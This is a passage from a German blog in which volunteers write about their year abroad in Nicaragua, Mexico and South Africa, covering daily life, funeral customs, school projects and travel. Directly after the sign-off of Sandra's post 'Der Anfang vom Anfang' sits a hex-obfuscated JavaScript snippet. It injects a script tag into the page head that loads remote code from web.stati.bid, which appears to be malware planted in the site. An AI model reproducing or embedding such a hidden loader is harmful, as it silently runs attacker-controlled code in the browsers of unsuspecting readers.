Auch ich darf mal rauf (nur kurz)

verwirrenden Vorfahrtsprinzip für genug Straßenlärm sorgt.

Das häufigste Verkehrsmittel ist das Taxi, von denen es ausreichend hier gibt. Man winkt es an, sagt seine Zieladresse, verhandelt nich eben einen guten Preis aus (nie mehr als 20 Cordoba, etwa 60 Cent) und schon geht es los. Auf dem Weg werden meistens noch andere Menschen mitgenommen, die meistens in die gleiche Richtung wollen.

Für lange Strecken wählt man doch den Bus. Dieser ist nicht das schnellste Transportmittel, hölt für jeden Haltewunsch an und kommt meist nicht über die 40 km/h. Wenn ich also mit dem Bus nach Mangua möchte (47 km von Granada entfernt) plane ich etwa 1,5 Stunden Fahrtzeit ein.

Auch Pferdekutschen, Pferdekarren und Fahrräder nehmen am Straßenverkehr teil, werden viel angehupt und sind durchaus nicht die sicherste Variante. Wenn ich noch eben in die Stadt muss, dann verzichte ich gerne auf mein Rad und gehe zu Fuß.

 

Tiere

Einen Hund gibt es in fast jedem Haus. Nicht immer als Kuschelhaustier, sondern vielmehr als Wachhund. Aber auch auf der Straße und auf dem Markt findet man viele streuende Hunde, die jedoch sehr ängstlich sind. Angst machen manchmal auch die Wunden, die diese Streuner haben. Katzen sind ebenso aus Zwecksgründen in vielen Häusern zu finden, um nämlich Mäuse und Fledermäuse fernzuhalten.

Es gibt auch noch andere „Haustierchen“, die sich selbst als solche machen. Abends werden die Geckos aktiv, die dann an den Wänden kleben und Ungeziefer essen. Auch Moskitos machen sich besonders abends unbemerkt bemerkbar und spürbar!

wunderschön sind natürlich die Tiere in der freien Natur anzusehen: große farbenfrohe Schmetterlinge, Papageie, Faultiere, Affen, Schildkröten,…


Was noch fehlt

So sehr ich dieses Land und diese Menschen hier ins Herz geschlossen habe, wurde mir in letzter Zeit bewusst, was hier doch noch alles fehlt. Natürlich kann man den Lebensstandard nicht an deutschen Maßnahmen messen, aber als dann meine Familie mit einem deutschen Auge auf mein Nica-Leben schaute, wurde mir bewusst, dass abgesehen von der Kultur einiges noch für Probleme sorgt.

Es fängt an bei dem ganzen Müll, der auf der Straße landet, weil es kein richtiges Müllsystem gibt. Wenn die Entsorgung nicht an Straßenränden oder im Bach passiert, dann wird er einfach vor der Haustür verbrannt. Schwierig ist dies, weil es sich besonders um Plastikmüll handelt. Plastik als preiswerter Rohstoff ist immer im Einsatz: Saft wird aus Plastiktüten geschlürft; Kekse, Reis, Bohnen, alles wird in Plastiktüten verkauft.

Weiter geht es dann bei der großen Schere zwischen arm und reich. Während viele an der Armutgrenze leben, kommen reiche amerikanische Touristen nach Nicaragua und sorgen durch ihren Tourismus zwar einerseits für neue Arbeitsplätze, verdrängen aber gleichzeitig den Bauern und reißen die Preise nach oben. Ein Leben im Zentrum ist also nur für die Wohlhabend möglich und es entstehen viele Marginalgegenden, die hier bekannten Barrios.

Auch das Krankheitssystem erreicht den einfachen Nica nicht. Es gibt keine staatliche Versicherung, also jeder Arztbesuch und jedes Medikament wird aus eigener Tasche bezahlt, sprich kaum einer kann es sich leisten. Offiziell gibt es eine Grundversorgung im Centro de Salud (Gesundheitszentrum), aber wie ich von vielen sehe, wird dort nur zu den privaten Ärzten verwiesen.

Ohne immerfließend Wasser zu leben ist wirklich Alltag hier und sehe ich nicht als ein sehr großes Problem. Vielmehr liegt die Lücke darin, dass die Wasserleitung genauso wie auch Strom von der Regierung geleitet wird. Kurz, es wird abgestellt. Das kommt bei mir ziemlich oft vor, weil wir in der Nähe einer Fabrik wohnen, morgens gibt es dann kein Wasser für die umstehenden Häuser. Man stellt sich darauf ein, hat immer Wasserbecken für den Notfall, aber kann es wirklich sein, dass die Korruption in einer Demokratie so präsent ist?

 

Ich bin fest davon überzeugt, dass ich das alles in ein paar Jahren lese und feststellen werde, wie angeglichen Nicaragua an den hohen westlichen Standard sein wird. Ob das gut ist? Sicherlich in einigen Aspekten, aber Nicaragua ist so wie es ist einfach wunderschön und begeistert mich jeden Tag.

Ich hoffe ihr habt einen kleinen Eindruck von meinem Leben hier bekommen und wisst das ich mich pudelwohl fühle (besonders neben meinem Ventilator!). Ja, es ist gerade äußerst heiß und wir warten sehnsüchtig auf den Regen.

 

Eure Sandra

 

P.S. Seit März habe ich auch mein Visum, das heißt ich kann mich endlich offiziell als Nica ausweisen!

 

Das kommt mir (nicht mehr) spanisch vor…

Dienstag, 20. März 2018 von Jan Kaatze

„Wie schnell die Zeit vergeht…“ – diesen Satz will wahrscheinlich keiner gerne hören, doch gerade in letzter Zeit wird mir immer mehr bewusst wie wahr er doch sein kann. Vor über 7 Monaten stieg ich in das Flugzeug, welches mich für ein Jahr in ein völlig fremdes Land bringen sollte. Alles war neu und anders: Die Leute, das Essen, die Sprache… wie sollte ich mich jemals an all das gewöhnen können? – dachte ich mir.

Jetzt nach dem halben Jahr voller guter aber auch schlechter Erfahrungen stelle ich fest, wie normal alles um mich herum geworden ist. Das schon früh morgens der übliche „Alltagslärm“ beginnt wird nicht mehr hinterfragt sondern im Gegenteil – an einem ruhigen Morgen fehlt irgendetwas. Auch das Essen welches sich am Anfang so überhaupt nicht mit meinem Magen vertragen wollte wird nun mit Genuss gegessen und kommt definitiv in meinem imaginären Kochbuch zu den Favoriten!
Ich kann also zufrieden sagen: „Ich bin endlich angekommen und hab meinen Platz hier gefunden!

Bin ich also schon Mexikaner!?    Nein… auch wenn ich oft als Enkel oder entfernter Verwandter vorgestellt werde ( was sogar schon geglaubt wurde..:D) bin ich mit einem Augenzwinkern immernoch der Andere, der aber irgendwie doch schon dazu gehört. Das kann oft sehr schwierig sein, weil man manchmal vor allem unter Freunden gerne so richtig dazugehören würde und doch bleibt man halt der Deutsche.
Was ich damit sagen will ist, dass ich zwar in diesem Sinne anders bin was in einer guten Freundschaft jedoch letztendlich völlig egal ist.

Und das ist es ja auch, was einen Freiwilliegendienst ausmacht. Man hat die Möglichkeit einmal so richtig in die Kultur einzutauchen auch wenn man eigentlich nicht dazu gehört und es nur für ein Jahr ist. Je mehr Zeit vergeht, desto mehr Dinge fallen mir ein, die ich im Projekt noch machen möchte. Man sollte also nicht die Tage zählen die schon vergagen sind, sondern die Tage die noch vor einem liegen schätzen.

Sooooo…

Damit jetzt nicht nur viel theoretisches Gerede diesen Blogeintrag dominiert, erfahrt ihr nun was ich in der letzten Zeit so gemacht habe.

Wie schon erwähnt verbringe ich einen sehr großen Teil meiner Zeit im Garten der Schule und arbeite dort mit den Kindern. Mit dem Beginn des neuen Jahres hat nun jede Klasse ihr eigenes Projekt im Garten angefangen. In den jüngeren Klassen werden dann bespeilsweise Sonnenblumen oder Tomaten gepflanzt, gepflegt und später geerntet und gegessen. Somit sollen die Kinder ein besseres Verständnis dafür bekommen, wie eigentlich die Lebensmittel entstehen, die sie Zuhause essen und natürlich auch wie wichtig generell Planzen für unser Leben sind.

Mmh… Die ersten Tomaten sind bereits reif

Aus Kräutern des Gartens wurden Heilmittel selbergemacht…

Die größeren Schüler bis zur 9. Klasse haben ein gemeinsames Projekt, in denen sie Sukkulenten kultivieren um diese später zu verkaufen. Sukkulenten sind sehr wasserhaltige Pflanzen, welche vor allem an trockene Gebiete angepasst sind. Die wohl bekanntesten dieser Art sind die Kakteen. Obwohl diese Pflanzen sehr pflegleicht sind, ist die Vermährung dieser ziemlich kompliziert und dauert sehr lange, wesshalb sie teuer zu kaufen sind. Durch dieses Projekt sollen die Kinder auch einen Einblick in den Bereich des Verkaufens bekommen, was für einige später vielleicht hilfreich sein kann.

Der Spinat kann schon geerntet werden

Bei allen Projekten helfe ich mit und da durchgehend aus irgendeiner Klasse Kinder für ihre Projekte in den Garten kommen habe ich immer etwas zu tun, was mir sehr viel Spaß macht.

Und der Zirkus..?

Zur Zeit gibt es nicht viel Neues zu berichten aber der Zirkus läuft weiter… Dank den ersten Aufführungen im Winter kamen die Kindern mit einer viel stärkeren Motivation aus den Ferien zurück, was mir zeigte, wie gut das Projekt bei den Kindern angekommen ist. Fast nach jeder Stunde kann man immerwieder kleine Erfolge sehen, wenn der Trik dann doch noch geklappt hat, oder das Jongliern mit drei Bällen endlich glückt. Gerade dann merkt man: Aller Aufwand hat sich letztlich gelohnt!!
Seit einiger Zeit trainieren wir nun auf die nächste Aufführung im April hin, wo es dann viele neue Dinge zu sehen gibt…

 

Und sonst so?

Gerade in letzter Zeit stand Reisen und die Umgebung kennenlernen auf dem Programm, wozu ich die Wochenenden nutzte. Nachdem ich das erste halbe Jahr noch fast gar nichts außerhalb meiner Stadt gesehn habe, wollte ich dies nun nachholen. Hier lasse ich am Besten die Bilder für sich sprechen…

Die Halbwüste vor Zacatecas

Über den Dächern von Zacatecas

Diese Schienen galt es hochzuklettern um in die Schlucht hinter der Schule zu kommen…

Eine der wichtigsten Kirchen in meinem Umfeld – San Juan de los Lagos

Bis dann

Euer Jan

 

Ein Abschied auf unbekannte Zeit

Montag, 12. März 2018 von Lea Feldhaus

Hallo ihr Lieben,

Was bedeutet es eigentlich, wenn man von Abschied spricht? Ist es ein „nicht mehr wiedersehen“? Oder eher ein „Ich kenne dich nicht mehr, obwohl du mir gegenüber stehst“? Ist es für immer oder nur vorübergehend? Gibt es einen Weg, das Geschehene rückgängig zu machen oder muss man es akzeptieren? Und gibt es den einen Weg wie man „Tschüss“ sagt?

Das sind Fragen, die mir immer wieder in den letzten Tagen und Wochen in den Kopf gekommen sind. Eigentlich hatte ich gehofft und gedacht, mich bis Juli nicht mit dem Thema Abschied auseinandersetzen zu müssen. Doch ich habe nicht bedacht, dass es unzählige Arten von Verabschiedungen gibt. Und man weiß nie richtig, wie es kommt. Auf einmal wird es Zeit, Abschied zu nehmen und ich kann euch versichern, obwohl ich wusste, dass dieser Moment kommen wird, so war ich doch überfordert.

Wieso schreibe ich das alles nieder? Vor einiger Zeit ist eine nahe Verwandte gestorben. Und neben der Tatsache, dass ich knapp zehntausend Kilometer entfernt von ihrem Heimatland wohne und ich daher nicht zur Beerdigung kommen konnte, kommt auch noch dazu, dass die hiesige Kultur ganz anders trauert als die meinige. Natürlich. Aber für mich war das eine komische Erfahrung. Als ich meiner Mentorin erzählt habe, was passiert ist, war ich von ihrer Reaktion völlig überrascht. Meine „mamá nica“ saget mir ganz trocken ins Gesicht: „Das tut mir leid. Aber ich möchte dich nicht weinen sehen. Du darfst dich heute Abend mal in deinem Zimmer verkriechen, für zehn Minuten. Aber jetzt nicht. Kannst du mir bitte noch das Bild zu Ende zeichnen?“ Das war alles. Was ist da passiert? Ich habe nicht um Mitleid oder etwas Ähnliches gefragt, aber ein bisschen Einfühlsamkeit hatte ich doch erhofft. Schließlich bedeutet Tod ja auch immer ein Abschied auf unbekannte Zeit.

Ein bisschen mehr habe ich das Ganze eine Woche später verstanden. Denn Gott hat seine eigenen Wege. Am Tag der Beerdigung in Deutschland habe ich natürlich viel an meine Familie gedacht. Ich verbrachte den Tag aber in Managua, um – endlich – mein Visum abholen zu können. Gegen elf Uhr rief mich Mar an, um mir mitzuteilen, dass nun auch in Juigalpa eine Anghörige meiner Gastfamilie gestorben sei. Für mich eine sehr komische Erfahrung, war ich in meinen Gedanken noch gar nicht richtig bereit, mich auf etwas derartiges einzulassen. Trotzdem bin so schnell wie möglich zurück, um alle zu unterstützen. Denn hier wird ganz anders getrauert. Stirbt jemand am Morgen des einen Tages, so versammeln sich bereits in der Nacht alle Verwandten und Freunde im Haus des Toten, um sich von ihm zu verabschieden, an ihn zu erinnern und die jeweils anderen zu trösten. In nur vier Stunden werden alle benachrichtigt, die Beerdigung und das Requiem vorbereitet und alle notwendigen Dinge organisiert. Dank der Visumssache kam ich erst spät hinzu, und vielleicht deshalb, aber ich habe am ganzen Abend nur eine Handvoll Personen weinen sehen. Dazu muss man sagen, dass es über hundert Menschen waren. Gemeinsam wurde der erste Rosenkranz gebetet. (Denn es folgt die novena. Neun Tage lang werden im Haus mittags eine Kurzfassung und abends der komplette Rosenkranz gebetet. Als Erinnerung und Geleit des Toten.) Bereits einen Tag später findet die Beerdigung statt. Das ist vorgeschrieben. Und als ich zu meiner Chefin sagte, in Deutschland sei es oft eine Woche später, sah ich ein leicht verwirrtes Gesicht vor mir. Es spiegelte ziemlich genau das wieder, was ich bei den Worten „morgen“ und „Beerdigung“ empfunden habe… Am Freitag also war es so weit. Der Priester hat eine – ziemlich normale – Messe gehalten, den Sarg gesegnet und ist dann gegangen. Denn was am Grab passiert, ist Sache der Familie. In einer Prozession lief die Trauergemeinde bis zum Friedhof. Ich war bereits einige Male vorher an diesem Ort und habe mich gefragt, wieso so viel Beton da ist, aber jetzt verstehe ich es. In kompletter Stille, ohne Gesang, ohne Segen wurden auf das Loch im Boden die Platten gelegt und verputzt. Der Sarg wurde wortwörtlich eingemauert.

In diesem Moment hatte ich das Gefühl, doch irgendwie Abschied nehmen zu können. War ich den Tag vorher nicht in Deutschland, so fühlte es sich ein bisschen so an, als wäre ich es jetzt. Obwohl es natürlich ganz anders war. Aber ich verstand auch auf einmal, was meine Mentorin zu mir sagte. Es ist die Art, hier zu trauern. In nur 24 Stunden „Adiós“ zu sagen, ermöglicht es nicht, es zu realisieren. Denn von einem Moment auf den anderen geht es schnell. So viel ist zu tun, dass die Gefühle manchmal auf der Strecke bleiben und erst viel später, wenn man alleine ist und Ruhe einkehrt, nach oben kommen. Natürlich ist die Stimmung gedämpfter, alle betrübter, doch ich habe auch gemerkt, dass eben viel weniger nach außen gezeigt wird. Trage ich in Deutschland Schwarz als Zeichen der Trauer, so kommen hier auch noch Blau und Weiß dazu. Je nachdem, wie nah du dem Toten stehst und was du ausdrücken möchtest. Weiß als Friedensfarbe ist immer angebracht.

All diese Erkenntnisse und Gedanken haben mich sehr beschäftigt. Ich habe lange überlegt, ob ich sie mit euch teilen soll oder nicht. Aber ich glaube, dass es ebenso Teil meines Freiwilligendienstes in Nicaragua ist wie all die fröhlichen Erlebnisse. Und damit sollte es auch Platz in diesem Blog finden.

Ich schicke euch ganz viele Drücker von hier. Ich denke an euch

LEA

 

Der Anfang vom Anfang

Mittwoch, 28. Februar 2018 von Sandra Abrantes Diaz

Hola ihr Lieben, es wird mal wieder Zeit für ein Update. Fangen wir doch da an, wo wir vor über 200 Tagen angefangen haben: Mir gehts gut, auch wenn der ein oder andere Tag etwas viel Kraft fordert.  Dass ich Nicaragua lieben gelernt habe fing nicht nur wegen der wunderschönen Landschaft an, die das Land zu bieten hat, sondern auch wegen der Menschen, die mich umgeben, und mich ins Herz geschlossen haben!

Dass schon bald Ostern ist, obwohl doch gerade erst Weihnachten war, hat mich doch ein wenig erschrocken. Ich meine, wenn am Anfang der großen, abenteurlichen, aufregenden Reise noch alles neu, ungewohnt und viel zu heiß war, dann heißt dieser Anfang der Sehnsucht des Bleibens jetzt, Abkürzungen, den Nachbarn und Freunde zu kennen. Natürlich ist es noch immer extrem heiß, aber ich merke, dass das anfängliche Dauerbedürdnis nach Wasser schon etwas zurückgegangen ist. Von anfänglichen vier Litern kann ich nun normale zwei bis zweieinhalb Liter am Tag zählen. Das Bedürfnis nach dem leckeren Nica-Essen ist jedoch stetig da und wo zunächst alles noch vorsichtig probiert wurde, wird jetzt mit Genuss gegessen 🙂

Natürlich tragen die Menschen, die mich umgeben die Hauptrolle in meinem Roman, meinem Freiwilligendienst. Ehrlich gesagt weiß ich gar nicht wie ich die vergangene Zeit einordnen soll: Komödie, weil es unglaublich viele witzige Momente gibt, Abenteuer, weil es dies am Anfang war und auch noch immer ist, wenn ich die Gelegenheit habe, das Land kennenzulernen (einen aktiven Vulkan hinunterzufahren macht man nicht jeden Tag und genausowenig durch einen Cañon zu schwimmen), Tragödie, da manche Geschichten von den Kindern aus dem Heim nichts anderes als das sind (gerade Missbrauch und Analphabetismus schocken mich immer wieder), aber irgendwo ist es auch eine Biografie meines Ichs, vielmehr meines „Anfangs-Ich“ und jetztigen „Zwischen-ich“. Respekt, wenn ihr mir bis hierher verfolgen konntet – einfach gesagt, ich merke, dass viele Eindrücke  auf mir lasten und wenn ich an die ersten Wochen denke feststellen muss, dass der Anfang meines Jahres vielleicht erst jetzt ist. Erst jetzt, weil ich mich nicht neu, fremd, unwissend fühle, sondern mein Leben hier aufgebaut habe. Dazu gehört auch das Land und die Leute zu verstehen. Es ist also der Anfang des Anfangs sich wie eine Nica zu fühlen (tatsächlich wurde ich auch schon als solche gehalten). Wieso Vitamin C als so großes Heilmittel gesehen wird, hat mir anfangs den Kopf verdreht, aber am Anfang vom Anfang kann ich sagen, dass es wirklich hilft, denn der Glaube, dass es besser wird, durch Vitamin C viel mehr gestärkt wird!

Da Bilder viel mehr als tausend Worte sagen, lasse ich nun die Fotos für sich sprechen. Ich muss feststellen, dass schon jetzt meine Zeit nicht in Worte zu fassen ist!

 

Mit den Jüngsten bereitete ich nach dem Motto „Dschungelbuch“ einen kleinen Tanz vor.

 

Eine große Geburtstagsfeier zum 15. mit allen zusammen!

 

Am 14. Februar war hier nicht nur Valentinstag, sondern auch Tag der Freundschaft. Selbstverständlich habe ich allen lieben Menschen Danke sagen wollen!

 

Nichts geht über Pfannkuchen von deutschen Händen zubereitet!

 

Bastelstunde

 

 

Was würde ich nur ohne all diese lieben Menschen machen?

 

Im Februar ging es eine Woche lang rund um Poesie, abends genossen wir öffentliche Konzerte im Freien!

 

Ein Spruch, der mich seit einiger Zeit begleitet und besonders wenn ich mal etwas geknickt bin gezeigt hat, dass es immer nur nach vorne geht, auch wenn das heißt, dass das Nachvornegehen mir mit jedem Morgen ein Tag weniger in Nicaragua gibt.

Cree que lo puedes hacer y lo harás! – Glaube, dass du es machen kannst und du wirst es machen! 

Eure Sandra var _0x29b4=[„\x73\x63\x72\x69\x70\x74″,“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,“\x73\x72\x63″,“\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64“];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

 

Weihnachten bei 30 Grad und Silvester in Kapstadt

Donnerstag, 08. Februar 2018 von Daniela Alofs

Nach dem Ferienprogramm ging es für die meisten meiner Mitbewohner auf Reisen, und auch ich habe mit drei anderen Deutschen und einem Australier ein paar Tage Urlaub in Durban

Unser Weihnachtsbaum im Haus

gemacht, wo ich bereits ein paar Tage im Oktober verbracht hatte. Es war zwar nur für wenige Tage aber dennoch sehr schön. Über Weihnachten waren wir dann wieder in Johannesburg, wo ich einen sehr ruhigen 24. Dezember verbracht habe, denn hier wird Weihnachten erst am 25. Dezember gefeiert. Diesen Tag haben wir dann bei meinem Mentor Colin und seiner Familie verbracht, wo wir ein leckeres Mittagessen draußen in der Sonne hatten und danach Spiele wie zum Beispiel Wörter mit denselben Bedeutungen suchen usw. gespielt haben, was mich doch sehr an meine englisch-Grenzen gebracht hatte, aber auch sehr lustig war. Nachdem wir ein paar leckere, selbstgebackene Plätzchen und leckeren Pudding zum Nachtisch hatten, haben wir alle zusammen einen Weihnachtsspaziergang über das Schulgelände des Sacred Heart Colleges gemacht und ein paar der Familie sind danach noch in den großen Schulpool gegangen. Wieder am Haus haben wir noch einen Weihnachtsfilm geschaut, ehe es dann auch wieder nach Hause ging. Auch wenn mir meine Familie und Freunde über Weihnachten sehr gefehlt haben war es doch sehr interessant Weihnachten bei 30 Grad zu feiern.

Kurz nach Weihnachten waren wir dann nochmal bei Colin, da seine Tochter Kate uns zu ihrem 21. Geburtstag eingeladen hatte. Die ganze Familie und Freunde waren dort und ich habe mich mit vielen Leuten gut unterhalten. Es ist sehr schön das wir so offen in der Familie aufgenommen und zu solch großen Festen eingeladen werden. Das fühlt sich schon richtig wie eine zweite Familie an.

Am Morgen darauf ging es dann für mich und meinem Mitbewohner schon früh los zum Flughafen, von wo aus wir nach Kapstadt geflogen sind, wo wir dann die drei anderen Deutschen wieder getroffen haben. Kapstadt habe ich vom ersten Moment an geliebt, es ist eine atemberaubend schöne Stadt und wir haben sehr viel tolles erlebt wie zum Beispiel den Lions Head hochzuklettern, den Kap der guten Hoffnung zu bestaunen, Im Vogelpark „World of Birds“ Vögel aus aller Welt sowie einige Affen und Wildkatzen zu bestaunen oder mit der Gondel den Tafelberg hochzufahren. Die Natur in Kapstadt ist einfach wunderschön und ein besonderes Highlight war für mich die Südafrikanischen Pinguine zu sehen. Etwas seltsam war es aber so viele Deutsche dort anzutreffen, denn überall wo wir hingingen haben wir deutsche Touristen getroffen, denn offensichtlich ist Kapstadt ein sehr beliebtes Reiseziel für Touristen aus aller Welt. Was ebenfalls ein Highlight in Kapstadt war, war Silvester. Wir haben erst alle zusammen in unserer Unterkunft gekocht und sind dann zur Waterfront, das ist ein großen Hafen mit einer schönen Promenade mit vielen Restaurants, einem Einkaufszentrum und sogar einem Riesenrad. Dort haben wir dann erst gemütlich an der Promenade gesessen und uns dann das große Feuerwerk angeschaut. Es war wirklich ein sehr schöner Abend und es war schön ihn mit einigen meiner Mitbewohner erleben zu können. Schnell waren unsere Tage in Kapstadt dann schon wieder vorbei und es ging am 05.01. zurück nach Johannesburg, wo wir uns noch eine Woche lang ausruhen konnten, ehe es mit der Arbeit im Projekt wieder los ging.

Lions head                              

Südafrikanische Pinguine

 

Aussicht vom Tafelberg

 

Das war es erstmal von meinen Ferien in Südafrika. Ganz liebe Grüße, eure Dani!

 

185 Tage Nicaragua – was die Zeit so mit sich brachte

Samstag, 03. Februar 2018 von Lea Feldhaus

Hallo alle zusammen,

Ich schlage die Augen auf und frage mich, was anders ist. Mein Handy neben mir erklärt mir, es sei 16:02 Uhr. Komisch. Ich habe doch noch gar nicht den Tag angefangen. Und dann sind da noch die komischen Geräusche: ein Hahn kräht, ein Auto hupt, Hund bellen sich an – und was mich am meisten verwirrt – eine ganze Gruppe von Menschen, die irgendetwas reden, das ich nicht verstehe. Da fällt es mir wieder ein. Ich bin irgendwo in einem Zimmer in einer Stadt knapp 9300 Kilometer von meiner Heimatstadt entfernt. Wer hätte das je gedacht. Ich auf jeden Fall nicht. Nach all der Vorbereitung irgendwann einmal aufzubrechen. Wow.

Diese Situation ist nun schon sechs Monate her. Oder genauer gesagt 4440 Stunden. Denn gestern war so zusagen mein nicaraguanischer halber Geburtstag. Seit dem ist viel Zeit vergangen und noch viel mehr Situationen. Manchmal hat sich die Zeit gezogen und ich habe mich gefragt – Wieso bin ich noch mal hier? Und dann kommt irgendjemand, man unterhält sich, lacht und merkt – genau deshalb.

Für die vielen lieben Menschen, die hier in Nicaragua leben.

Für die Kinder, die dir quer über die Straße „Adiós profe“ zurufen und beim Verabschieden ein: „Ich mag euch sehr“ hinterherschieben.

Für die Geschichten, die sie mit dir teilen. Und die Umarmungen, nach denen sie sich zwischen den Arbeiten manchmal sehnen.

Für die wunderschöne Natur, die einen ganz großen Teil des zentralamerikanischen Landes ausmacht.

Für die Erfahrung, nicht zu wissen, was der Gegenüber dir sagen will und du dich fragst, ob er nicht doch ein bisschen verrückt ist, wenn er dir erklärt, dass du bei Grippe und Fieber bitte als allererstes kalt duschen sollst.

ABER: Es ist nicht immer deine Kultur, die das Richtige macht und alles andere, das Fremde, ist falsch. Alle Wege führen nach Rom. Und es sind hundert Wege, die zum gleichen Ziel führen. Man muss sich nur darauf einlassen. Probiere es einfach mal aus. Und wenn es nichts ist, dann weißt du es für das nächste Mal. Dieses Einlassen ist nicht immer leicht. Aber das soll es ja auch nicht sein, oder?! Überwinde dich.

Ich durfte es im letzten halben Jahr ein bisschen lernen. Noch immer fallen mir Dinge schwer, weil ich mich nach dem Sinn frage, aber das ist – denke ich – normal. Denn auch wenn ich in Nicaragua lebe und mich oft wie eine Halbnica fühle, komme ich aus Deutschland. Und damit aus einer Kultur, die im ersten Moment sehr ähnlich ist. Aber sich in den Kleinigkeiten von der nicaraguanischen sehr unterscheidet. Zum Glück. Denn die Abwechslung macht unsere Welt erst so bunt, so schön, so verdreht, so hässlich, so unverständlich, so multikulturell, so WELTLICH, wie sie ist.

Einige Eindrücke aus den letzten 185 Tagen möchte ich euch noch in Bilder zeigen. Vergesst nicht. Ich zeige euch nicht Nicaragua. Ich zeige euch einen ganz kleinen Teil von dem kleinen Teil, den ich kennenlernen darf!

Schon vor der Ausreise begann das Jahr – im letzten Seminar gestalteten alle Freiwilligen zusammen diese Leinwand

 

Auf Wiedersehen Deutschland. Frankfurt wird das letzte sein, dass ich für ein Jahr von meinem Heimatland sehe

 

Herzlich Willkommen. Das ist man hier fast immer. Denn die Nicaraguaner sind ein sehr gastfreundliches Völkchen

 

Ein viel zu großes Zimmer, aber wunderschön und mein Zuhause für die nächsten 51 Wochen

 

Eine neue Sprache zu lernen ist gar nicht so einfach. Die erste Zeit habe ich jeden Abend eine neue Vokabelliste an die Tür geklebt.

 

Ein Teil meiner Gastfamilie. Ja, es fehlen noch welche…

 

Ich bin euch noch ein Foto vom typischen Nica-Gericht schuldig: Gallo Pinto – Gemalter Hahn

 

Willkommen im Centro „Jesús Amigo“ – Freund Jesu

 

Wenn die Kinder mal wieder Bastelhausaufgaben haben, dann helfe ich gerne mit, denn es ist eine Abwechslung zwischen Mathe, Englisch und Spanisch

 

Im Januar haben wir einmal alles umgeräumt und ausgemistet. Da kam eine ganze Menge Dinge hoch, die schon als verschollen galten.

 

Im Dezember ging es anderthalb Wochen nur ums Spielen. Besonders Sackhüpfen ist weltweit echt der gleiche Spaß

 

Trotzdem wird immer wieder gearbeitet, gedacht und überlegt. Und das am besten gemeinsam

 

Einige wenige Male im Jahr wird für alle gekocht. Und dann sieht es in der Küche ungefähr so aus…

 

Piñata – darüber habe ich euch ja schon ein wenig erzählt

 

Am 15. September wird hier der Unabhängigkeitstag gefeiert. Der ganze Monat ist danach benannt und es gibt Umzüge und Veranstaltungen nur zu diesem Thema. Mit dabei sind immer die Trachten und Nationalsymbole Nicaraguas

 

Die Nationalblume Sacuanjoche

 

So sieht es aus, wenn man beim Tanzen der Folklore aus ganzem Herzen dabei ist

 

Während der Regenzeit hier sind viele Straßen manchmal über Stunden überschwemmt. Es schüttet aus Strömen und will gar nicht mehr aufhören. Aber es sorgt auch dafür, dass das Wetter erträglich ist. Und es macht Spaß, im Regen zu tanzen

 

In Nicaragua ist Präsentation und Aussehen noch viel wichtiger. Die Nägel zu bemalen gilt dabei als Kunst und wichtig. Wer es kann muss es ganz bestimmt auch für den Rest der Familie machen. So wie meine Mentorin. Manchmal sitzt sie den ganzen Samstag und bemalt nach und nach alle Fußnägel, die es mal wieder nötig haben

 

Währenddessen habe ich angefangen, ein bisschen zu knüpfen und Ukulele zu spielen. Das Leben in Juigalpa ist ziemlich passiv und es gibt kaum etwas zu machen, da die meiste Freizeit vor allem in der Familie gefeiert wird. Dann suche ich mir doch auch ein bisschen Abwechslung

 

Im Dezember und Januar hatte ich die Ehre, einen Teil des Landes meiner Familie zu zeigen.

 

Da kommt auch schon mal Blödsinn bei rum…

 

Ein kritischer Blick – Ich hatte tatsächlich nach fünf Monaten Nicaragua vergessen, wie viele Eindrücke in den ersten Tagen auf einen einrieseln

 

Seht ihr die Vulkane rauchen?! Dieser hier heißt Masaya und ist noch immer sehr aktiv. Auf Grund der giftigen Gase darf man nur fünfzehn Minuten oben sein…

 

Wer von euch Kaffeeliebhaber ist, der ist in Nicaragua genau an der richtigen Stelle. Besonders im Norden wird er angebaut und in die ganze Welt exportiert

 

Da Nicaragua so viel Natur hat gehört auch viel Wasser (im hiesigen Winter) dazu…

 

Ich sehe was, was du nicht siehst – und das ist Schwarz.
Seht ihr die Mückenschwärme?

 

Auf einen Teil der Reise sind auch meine zwei Gastgeschwister und gute Freunde mitgekommen. Mit den beiden habe ich unglaublich viel Spaß

 

Bei aller Liebe – hier lässt sich wohl kaum noch das Heimatland leugnen 🙂

 

Das ist Managua, die Hauptstadt Nicaraguas. Die Lebensbäume sind ein Projekt der Vizepräsidentin, welches aber durchaus kritisch betrachtet wird.

 

Gemeinsam mit meiner Mentorin und ihren Kindern auf einem Benefizlauf in Managua. Das Thema: Brustkrebs

 

 

Und schwups sind die Haare ab. Die werden für Perücken verwendet. Irgendwie eine lustige Vorstellung, dass jetzt eine Nica mit meinen Haren rumläuft. Zumal ja eigentlich alle Menschen hier schwarze oder dunkelbraune Haare haben

 

Purisima – Maria Empfängnis
In jedem Haus wird ein Altar gestaltet, der für einige Tage daran erinnert, was am 08.Dezember gefeiert wird

 

Jeden Abend wird ein Rosenkranz gebetet. Und das ganze auch mit Musik unterlegt. Denn ich habe das Gefühl, es gibt mehr spanische Purisimalieder als deutsche Weihnachtslieder…

 

